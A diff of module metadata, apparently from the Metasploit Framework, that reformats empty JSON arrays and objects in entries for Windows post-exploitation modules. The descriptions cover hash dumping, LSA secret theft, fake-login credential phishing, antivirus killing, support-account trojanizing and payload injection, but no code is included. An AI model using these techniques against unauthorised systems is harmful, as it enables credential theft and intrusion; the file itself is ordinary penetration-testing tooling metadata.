"aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277120,9 +245860,7 @@ "Royce Davis \"r3dy\" " ], "description": "This module will identify systems in a given range that the\n supplied domain user (should migrate into a user pid) has administrative\n access to by using the Windows API OpenSCManagerA to establishing a handle\n to the remote host. Additionally it can enumerate logged in users and group\n membership via Windows API NetWkstaUserEnum and NetUserGetGroups.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277136,22 +245874,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/lsa_secrets": { "name": "Windows Enumerate LSA Secrets", "fullname": "post/windows/gather/lsa_secrets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277159,9 +245892,7 @@ "Rob Bathurst " ], "description": "This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:\n HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt\n code from cachedump.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277175,22 +245906,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/make_csv_orgchart": { "name": "Generate CSV Organizational Chart Data Using Manager Information", "fullname": "post/windows/gather/make_csv_orgchart", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277198,9 +245924,7 @@ "Stuart Morgan " ], "description": "This module will generate a CSV file containing all users and their managers, which can be\n imported into Visio which will render it.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277214,22 +245938,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/memory_dump": { "name": "Windows Process Memory Dump", "fullname": "post/windows/gather/memory_dump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277237,9 +245956,7 @@ "smashery" ], "description": "This module creates a memory dump of a process (to disk) and downloads the file\n for offline analysis.\n\n Options for DUMP_TYPE affect the completeness of the dump:\n\n \"full\" retrieves the entire process address space (all allocated pages);\n \"standard\" excludes image files (e.g. DLLs and EXEs in the address space) as\n well as memory mapped files. As a result, this option can be significantly\n smaller in size.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277257,27 +245974,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/memory_grep": { "name": "Windows Gather Process Memory Grep", "fullname": "post/windows/gather/memory_grep", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277285,9 +245994,7 @@ "bannedit " ], "description": "This module allows for searching the memory space of a process for potentially\n sensitive data. Please note: When the HEAP option is enabled, the module will have\n to migrate to the process you are grepping, and will not migrate back automatically.\n This means that if the user terminates the application after using this module, you\n may lose your session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277301,22 +246008,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/netlm_downgrade": { "name": "Windows NetLM Downgrade Attack", "fullname": "post/windows/gather/netlm_downgrade", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277347,9 +246049,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "config-changes" ] @@ -277360,16 +246060,12 @@ "powershell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/ntds_grabber": { "name": "NTDS Grabber", "fullname": "post/windows/gather/ntds_grabber", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277377,9 +246073,7 @@ "Koen Riepe (koen.riepe " ], "description": "This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller.\n It compresses all these files in a cabinet file called All.cab.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, @@ -277393,22 +246087,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/ntds_location": { "name": "Post Windows Gather NTDS.DIT Location", "fullname": "post/windows/gather/ntds_location", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277416,9 +246105,7 @@ "Stuart Morgan " ], "description": "This module will find the location of the NTDS.DIT file (from the Registry),\n check that it exists, and display its location on the screen, which is useful\n if you wish to manually acquire the file using ntdsutil or vss.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277432,22 +246119,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/outlook": { "name": "Windows Gather Outlook Email Messages", "fullname": "post/windows/gather/outlook", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277455,9 +246137,7 @@ "Wesley Neelen " ], "description": "This module allows reading and searching email messages from the local\n Outlook installation using PowerShell. Please note that this module is\n manipulating the victims keyboard/mouse. If a victim is active on the target\n system, he may notice the activities of this module. Tested on Windows 8.1\n x64 with Office 2013.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, @@ -277471,8 +246151,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], @@ -277491,9 +246170,7 @@ "post_windows/gather/phish_windows_credentials": { "name": "Windows Gather User Credentials (phishing)", "fullname": "post/windows/gather/phish_windows_credentials", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277502,9 +246179,7 @@ "Matt Nelson" ], "description": "This module is able to perform a phishing attack on the target by popping up a loginprompt.\n When the user fills credentials in the loginprompt, the credentials will be sent to the attacker.\n The module is able to monitor for new processes and popup a loginprompt when a specific process is starting. Tested on Windows 7.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, @@ -277518,22 +246193,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/psreadline_history": { "name": "Windows Gather PSReadline History", "fullname": "post/windows/gather/psreadline_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277559,22 +246229,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/resolve_sid": { "name": "Windows Gather Local User Account SID Lookup", "fullname": "post/windows/gather/resolve_sid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277582,9 +246247,7 @@ "chao-mu" ], "description": "This module prints information about a given SID from the perspective\n of this session.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277602,27 +246265,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/screen_spy": { "name": "Windows Gather Screen Spy", "fullname": "post/windows/gather/screen_spy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277634,9 +246289,7 @@ "DLL_Cool_J" ], "description": "This module will incrementally take desktop screenshots from the host. This\n allows for screen spying which can be useful to determine if there is an active\n user on a machine, or to record the screen for later data extraction.\n\n Note: As of March, 2014, the VIEW_CMD option has been removed in\n favor of the Boolean VIEW_SCREENSHOTS option, which will control if (but\n not how) the collected screenshots will be viewed from the Metasploit\n interface.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277650,22 +246303,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/smart_hashdump": { "name": "Windows Gather Local and Domain Controller Account Password Hashes", "fullname": "post/windows/gather/smart_hashdump", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277673,9 +246321,7 @@ "Carlos Perez " ], "description": "This will dump local accounts from the SAM Database. If the target\n host is a Domain Controller, it will dump the Domain Account Database using the proper\n technique depending on privilege level, OS and role of the host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277689,22 +246335,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/tcpnetstat": { "name": "Windows Gather TCP Netstat", "fullname": "post/windows/gather/tcpnetstat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277712,9 +246353,7 @@ "mubix " ], "description": "This Module lists current TCP sessions", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277728,22 +246367,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/usb_history": { "name": "Windows Gather USB Drive History", "fullname": "post/windows/gather/usb_history", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277751,9 +246385,7 @@ "nebulus" ], "description": "This module will enumerate USB Drive history on a target host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277767,22 +246399,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/win_privs": { "name": "Windows Gather Privileges Enumeration", "fullname": "post/windows/gather/win_privs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277790,9 +246417,7 @@ "Merlyn Cousins " ], "description": "This module will print if UAC is enabled, and if the current account is\n ADMIN enabled. It will also print UID, foreground SESSION ID, is SYSTEM status\n and current process PRIVILEGES.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277806,22 +246431,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/wmic_command": { "name": "Windows Gather Run WMIC Commands", "fullname": "post/windows/gather/wmic_command", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277829,9 +246449,7 @@ "Carlos Perez " ], "description": "This module executes WMIC commands on the specified host.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277849,27 +246467,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/gather/word_unc_injector": { "name": "Windows Gather Microsoft Office Word UNC Path Injector", "fullname": "post/windows/gather/word_unc_injector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277893,15 +246503,12 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/add_user": { "name": "Windows Manage Add User to the Domain and/or to a Domain Group", @@ -277916,9 +246523,7 @@ "Joshua Abraham " ], "description": "This module adds a user to the Domain and/or to a Domain group. It will\n check if sufficient privileges are present for certain actions and run\n getprivs for system. If you elevated privs to system, the\n SeAssignPrimaryTokenPrivilege will not be assigned. You need to migrate to\n a process that is running as system. If you don't have privs, this script\n exits.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -277936,9 +246541,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "config-changes" @@ -277948,16 +246551,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/archmigrate": { "name": "Architecture Migrate", "fullname": "post/windows/manage/archmigrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -277965,9 +246564,7 @@ "Koen Riepe (koen.riepe " ], "description": "This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a\n new process with the correct architecture and migrates into that process.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86, x64", "rport": null, @@ -277981,22 +246578,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/change_password": { "name": "Windows Manage Change Password", "fullname": "post/windows/manage/change_password", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278004,9 +246596,7 @@ "Ben Campbell " ], "description": "This module will attempt to change the password of the targeted account.\n The typical usage is to change a newly created account's password on a\n remote host to avoid the error, 'System error 1907 has occurred,' which\n is caused when the account policy enforces a password change before the\n next login.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278020,22 +246610,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/clone_proxy_settings": { "name": "Windows Manage Proxy Setting Cloner", "fullname": "post/windows/manage/clone_proxy_settings", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278043,9 +246628,7 @@ "mubix " ], "description": "This module copies the proxy settings from the current user to the\n targeted user SID, supports remote hosts as well if remote registry\n is allowed.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278059,22 +246642,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/delete_user": { "name": "Windows Manage Local User Account Deletion", "fullname": "post/windows/manage/delete_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278082,9 +246660,7 @@ "chao-mu" ], "description": "This module deletes a local user account from the specified server,\n or the local machine if no server is given.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278098,22 +246674,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/dell_memory_protect": { "name": "Dell DBUtilDrv2.sys Memory Protection Modifier", "fullname": "post/windows/manage/dell_memory_protect", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": null, "type": "post", @@ -278147,9 +246718,7 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-os-restarts" ], @@ -278162,16 +246731,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/download_exec": { "name": "Windows Manage Download and/or Execute", "fullname": "post/windows/manage/download_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278179,9 +246744,7 @@ "RageLtMan " ], "description": "This module will download a file by importing urlmon via railgun.\n The user may also choose to execute the file with arguments via exec_string.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278195,22 +246758,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/driver_loader": { "name": "Windows Manage Driver Loader", "fullname": "post/windows/manage/driver_loader", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278218,9 +246776,7 @@ "Borja Merino " ], "description": "This module loads a KMD (Kernel Mode Driver) using the Windows Service API.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278234,22 +246790,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/enable_rdp": { "name": "Windows Manage Enable Remote Desktop", "fullname": "post/windows/manage/enable_rdp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278257,9 +246808,7 @@ "Carlos Perez " ], "description": "This module enables the Remote Desktop Service (RDP). It provides the options to create\n an account and configure it to be a member of the Local Administrators and\n Remote Desktop Users group. It can also forward the target's port 3389/tcp.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278273,22 +246822,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/enable_support_account": { "name": "Windows Manage Trojanize Support Account", "fullname": "post/windows/manage/enable_support_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278296,9 +246840,7 @@ "salcho " ], "description": "This module enables alternative access to servers and workstations\n by modifying the support account's properties. It will enable\n the account for remote access as the administrator user while\n taking advantage of some weird behavior in lusrmgr.msc. It will\n check if sufficient privileges are available for registry operations,\n otherwise it exits.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278312,22 +246854,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/exec_powershell": { "name": "Windows Powershell Execution Post Module", "fullname": "post/windows/manage/exec_powershell", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278336,9 +246873,7 @@ "RageLtMan " ], "description": "This module will execute a powershell script in a meterpreter session.\n The user may also enter text substitutions to be made in memory before execution.\n Setting VERBOSE to true will output both the script prior to execution and the results.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278352,22 +246887,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/execute_dotnet_assembly": { "name": "Execute .net Assembly (x64 only)", "fullname": "post/windows/manage/execute_dotnet_assembly", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278398,24 +246928,18 @@ "SideEffects": [ "ioc-in-logs" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/forward_pageant": { "name": "Forward SSH Agent Requests To Remote Pageant", "fullname": "post/windows/manage/forward_pageant", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278424,9 +246948,7 @@ "Ben Campbell " ], "description": "This module forwards SSH agent requests from a local socket to a remote Pageant instance.\n If a target Windows machine is compromised and is running Pageant, this will allow the\n attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are\n tunneled through the meterpreter session. This could therefore be used to authenticate\n with a remote host using a private key which is loaded into a remote user's Pageant instance,\n without ever having knowledge of the private key itself.\n\n Note that this requires the PageantJacker meterpreter extension, but this will be automatically\n loaded into the remote meterpreter session by this module if it is not already loaded.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278444,27 +246966,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/hashcarve": { "name": "Windows Local User Account Hash Carver", "fullname": "post/windows/manage/hashcarve", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278472,9 +246986,7 @@ "p3nt4" ], "description": "This module will change a local user's password directly in the registry.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278488,22 +247000,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/ie_proxypac": { "name": "Windows Manage Proxy PAC File", "fullname": "post/windows/manage/ie_proxypac", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278528,22 +247035,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/inject_ca": { "name": "Windows Manage Certificate Authority Injection", "fullname": "post/windows/manage/inject_ca", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278551,9 +247053,7 @@ "vt " ], "description": "This module allows the attacker to insert an arbitrary CA certificate\n into the victim's Trusted Root store.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278567,22 +247067,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/inject_host": { "name": "Windows Manage Hosts File Injection", "fullname": "post/windows/manage/inject_host", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278590,9 +247085,7 @@ "vt " ], "description": "This module allows the attacker to insert a new entry into the target\n system's hosts file.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278606,22 +247099,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/install_python": { "name": "Install Python for Windows", "fullname": "post/windows/manage/install_python", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278650,9 +247138,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "artifacts-on-disk", "ioc-in-logs" @@ -278662,16 +247148,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/install_ssh": { "name": "Install OpenSSH for Windows", "fullname": "post/windows/manage/install_ssh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278696,23 +247178,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/kerberos_tickets": { "name": "Kerberos Ticket Management", "fullname": "post/windows/manage/kerberos_tickets", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278739,15 +247216,9 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter" @@ -278771,9 +247242,7 @@ "post_windows/manage/killav": { "name": "Windows Post Kill Antivirus and Hips", "fullname": "post/windows/manage/killav", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278784,9 +247253,7 @@ "OJ Reeves" ], "description": "This module attempts to locate and terminate any processes that are identified\n as being Antivirus or Host-based IPS related.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278804,12 +247271,8 @@ "Stability": [ "os-resource-loss" ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": [ "meterpreter", @@ -278817,16 +247280,12 @@ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/make_token": { "name": "Make Token Command", "fullname": "post/windows/manage/make_token", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278835,9 +247294,7 @@ "Simone Salucci (saim1z)" ], "description": "In its default configuration, this module creates a new network security context with the specified\n logon data (username, domain and password). Under the hood, Meterpreter's access token is cloned, and\n a new logon session is created and linked to that token. The token is then impersonated to acquire\n the new network security context. This module has no effect on local actions - only on remote ones\n (where the specified credential material will be used). This module does not validate the credentials\n specified.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278870,16 +247327,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/migrate": { "name": "Windows Manage Process Migration", "fullname": "post/windows/manage/migrate", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278888,9 +247341,7 @@ "phra " ], "description": "This module will migrate a Meterpreter session from one process\n to another. A given process PID to migrate to or the module can spawn one and\n migrate to that newly spawned process.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278904,22 +247355,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/mssql_local_auth_bypass": { "name": "Windows Manage Local Microsoft SQL Server Authorization Bypass", "fullname": "post/windows/manage/mssql_local_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278927,9 +247373,7 @@ "Scott Sutherland " ], "description": "When this module is executed, it can be used to add a sysadmin to local\n SQL Server instances. It first attempts to gain LocalSystem privileges\n using the \"getsystem\" escalation methods. If those privileges are not\n sufficient to add a sysadmin, then it will migrate to the SQL Server\n service process associated with the target instance. The sysadmin\n login is added to the local SQL Server using native SQL clients and\n stored procedures. If no instance is specified then the first identified\n instance will be used.\n\n Why is this possible? By default in SQL Server 2k-2k8, LocalSystem\n is assigned syadmin privileges. Microsoft changed the default in\n SQL Server 2012 so that LocalSystem no longer has sysadmin privileges.\n However, this can be overcome by migrating to the SQL Server process.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278943,22 +247387,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/multi_meterpreter_inject": { "name": "Windows Manage Inject in Memory Multiple Payloads", "fullname": "post/windows/manage/multi_meterpreter_inject", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -278967,9 +247406,7 @@ "David Kennedy \"ReL1K\" " ], "description": "This module will inject in to several processes a given\n payload and connecting to a given list of IP Addresses.\n The module works with a given lists of IP Addresses and\n process PIDs if no PID is given it will start a the given\n process in the advanced options and inject the selected\n payload in to the memory of the created module.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -278983,22 +247420,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/nbd_server": { "name": "Windows Manage Local NBD Server for Remote Disks", "fullname": "post/windows/manage/nbd_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279006,9 +247438,7 @@ "Wesley McGrew " ], "description": "Maps remote disks and logical volumes to a local Network Block\n Device server. Allows for forensic tools to be executed on the remote disk directly.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279022,22 +247452,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "post_windows/manage/peinjector": { "name": "Peinjector", "fullname": "post/windows/manage/peinjector", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "post", @@ -279045,9 +247470,7 @@ "Maximiliano Tedesco " ], "description": "This module will inject a specified windows payload into a target executable.", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "", "rport": null, @@ -279061,22 +247484,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + 